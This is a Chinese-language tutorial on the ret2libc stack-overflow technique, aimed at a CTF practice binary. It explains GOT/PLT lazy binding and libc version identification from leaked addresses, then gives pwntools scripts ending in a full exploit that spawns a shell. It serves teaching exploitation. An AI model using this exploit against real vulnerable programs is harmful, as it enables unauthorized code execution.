Pwn入门之ret2libc详解
字数 1630 2025-08-11 08:35:50

Ret2libc攻击技术详解

1. 前置知识

1.1 GOT表和PLT表

  • GOT表(全局偏移表,Global Offset Table):Linux ELF文件中用于定位全局变量和函数的一个表
  • PLT表(过程链接表,Procedure Linkage Table):Linux ELF文件中用于延迟绑定的表

1.2 运行机制

程序运行过程中,PLT表和GOT表的交互过程:

  1. 可执行文件中保存的是PLT表的地址
  2. PLT地址指向的是GOT的地址
  3. GOT表最终指向glibc中的地址

1.3 延迟绑定机制

Linux为了节约系统资源和提高性能引入的机制:

  1. 函数第一次调用时:

    • 首先跳转到PLT表
    • 然后跳转到GOT表
    • 如果函数从未调用过,GOT会跳转回PLT并调用补丁代码
    • 补丁代码将函数真实地址填充到GOT表
    • 最后跳转到函数真实地址执行
  2. 后续调用同一函数时:

    • 跳转到PLT表
    • 跳转到GOT表(此时已包含真实地址)
    • 直接执行函数

2. 地址泄漏原理

  • 当一个函数被调用过后,GOT表会保存其在内存中的地址
  • 可以通过泄漏GOT表内存来泄漏函数地址
  • 根据泄漏的函数地址可以确定libc版本
  • 利用libc中函数偏移固定的特性计算其他函数地址

计算system函数地址示例

  1. 获取__libc_start_main函数在内存中的地址addr_main
  2. 获取__libc_start_main相对于libc.so.6的偏移addr_main_offset
  3. 获取system函数相对于libc.so.6的偏移addr_system_offset
  4. 计算system函数真实地址:addr_main + addr_system_offset - addr_main_offset

3. Ret2libc基本思路

控制程序执行流跳转到libc中的函数,通常是返回到某个函数的PLT处。常见目标是执行system('/bin/sh')

为什么必须使用PLT表而不是直接跳转到GOT表?

  • PLT表中的地址对应的是指令
  • GOT表中的地址对应的是指令地址
  • 返回地址必须保存有效的汇编指令,因此必须使用PLT表

4. Ret2libc攻击类型分类

  1. 程序中自身包含system函数和"/bin/sh"字符串
  2. 程序中自身有system函数,但没有"/bin/sh"字符串
  3. 程序中自身没有system函数和"/bin/sh"字符串,但给出了libc.so文件
  4. 程序中自身没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件(本文重点)

5. 无libc.so文件的攻击方法

5.1 基本思路

  1. 利用栈溢出及puts函数泄漏出GOT表中__libc_start_main函数的地址
  2. puts函数的返回地址设为_start函数
  3. 利用地址最低的12位找出libc版本(ASLR保护下最低12位不变)
  4. 根据libc版本计算system函数和/bin/sh字符串的内存地址

5.2 关键地址获取

需要获取以下三个地址:

  1. __libc_start_main函数在GOT表的地址
  2. _start函数的地址
  3. puts函数在PLT表中的地址

6. 实战示例

6.1 泄漏__libc_start_main地址

from pwn import *

sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024

payload = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(puts_addr))
sh.recv()

6.2 确定libc版本

使用泄漏地址的最后3位(12位)在libc database search (https://libc.blukat.me/)查询

6.3 泄漏puts地址辅助确认

from pwn import *

sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018

# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))

# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))

6.4 完整攻击脚本

from pwn import *

sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018

# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))

# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))

sh.recv()

# 根据查找到的libc版本填入偏移
libc_start = 0x01edf0
libc_system = 0x045830
libc_binsh = 0x192352

libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binsh

payload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

7. 总结

Ret2libc攻击技术相比基础栈溢出:

  • 对Linux程序运行机制理解要求更高
  • 需要掌握GOT/PLT表的工作原理
  • 需要理解延迟绑定机制
  • 需要能够通过泄漏地址确定libc版本
  • 需要计算函数在内存中的实际地址

关键点:

  1. 泄漏已知函数地址
  2. 确定libc版本
  3. 计算目标函数偏移
  4. 构造ROP链执行system('/bin/sh')
Ret2libc攻击技术详解 1. 前置知识 1.1 GOT表和PLT表 GOT表 (全局偏移表,Global Offset Table):Linux ELF文件中用于定位全局变量和函数的一个表 PLT表 (过程链接表,Procedure Linkage Table):Linux ELF文件中用于延迟绑定的表 1.2 运行机制 程序运行过程中,PLT表和GOT表的交互过程: 可执行文件中保存的是PLT表的地址 PLT地址指向的是GOT的地址 GOT表最终指向glibc中的地址 1.3 延迟绑定机制 Linux为了节约系统资源和提高性能引入的机制: 函数第一次调用时: 首先跳转到PLT表 然后跳转到GOT表 如果函数从未调用过,GOT会跳转回PLT并调用补丁代码 补丁代码将函数真实地址填充到GOT表 最后跳转到函数真实地址执行 后续调用同一函数时: 跳转到PLT表 跳转到GOT表(此时已包含真实地址) 直接执行函数 2. 地址泄漏原理 当一个函数被调用过后,GOT表会保存其在内存中的地址 可以通过泄漏GOT表内存来泄漏函数地址 根据泄漏的函数地址可以确定libc版本 利用libc中函数偏移固定的特性计算其他函数地址 计算system函数地址示例 获取 __libc_start_main 函数在内存中的地址 addr_main 获取 __libc_start_main 相对于libc.so.6的偏移 addr_main_offset 获取system函数相对于libc.so.6的偏移 addr_system_offset 计算system函数真实地址: addr_main + addr_system_offset - addr_main_offset 3. Ret2libc基本思路 控制程序执行流跳转到libc中的函数,通常是返回到某个函数的PLT处。常见目标是执行 system('/bin/sh') 。 为什么必须使用PLT表而不是直接跳转到GOT表? PLT表中的地址对应的是指令 GOT表中的地址对应的是指令地址 返回地址必须保存有效的汇编指令,因此必须使用PLT表 4. Ret2libc攻击类型分类 程序中自身包含system函数和"/bin/sh"字符串 程序中自身有system函数,但没有"/bin/sh"字符串 程序中自身没有system函数和"/bin/sh"字符串,但给出了libc.so文件 程序中自身没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件(本文重点) 5. 无libc.so文件的攻击方法 5.1 基本思路 利用栈溢出及puts函数泄漏出GOT表中 __libc_start_main 函数的地址 puts函数的返回地址设为 _start 函数 利用地址最低的12位找出libc版本(ASLR保护下最低12位不变) 根据libc版本计算system函数和/bin/sh字符串的内存地址 5.2 关键地址获取 需要获取以下三个地址: __libc_start_main 函数在GOT表的地址 _start 函数的地址 puts函数在PLT表中的地址 6. 实战示例 6.1 泄漏 __libc_start_main 地址 6.2 确定libc版本 使用泄漏地址的最后3位(12位)在libc database search (https://libc.blukat.me/)查询 6.3 泄漏puts地址辅助确认 6.4 完整攻击脚本 7. 总结 Ret2libc攻击技术相比基础栈溢出: 对Linux程序运行机制理解要求更高 需要掌握GOT/PLT表的工作原理 需要理解延迟绑定机制 需要能够通过泄漏地址确定libc版本 需要计算函数在内存中的实际地址 关键点: 泄漏已知函数地址 确定libc版本 计算目标函数偏移 构造ROP链执行system('/bin/sh')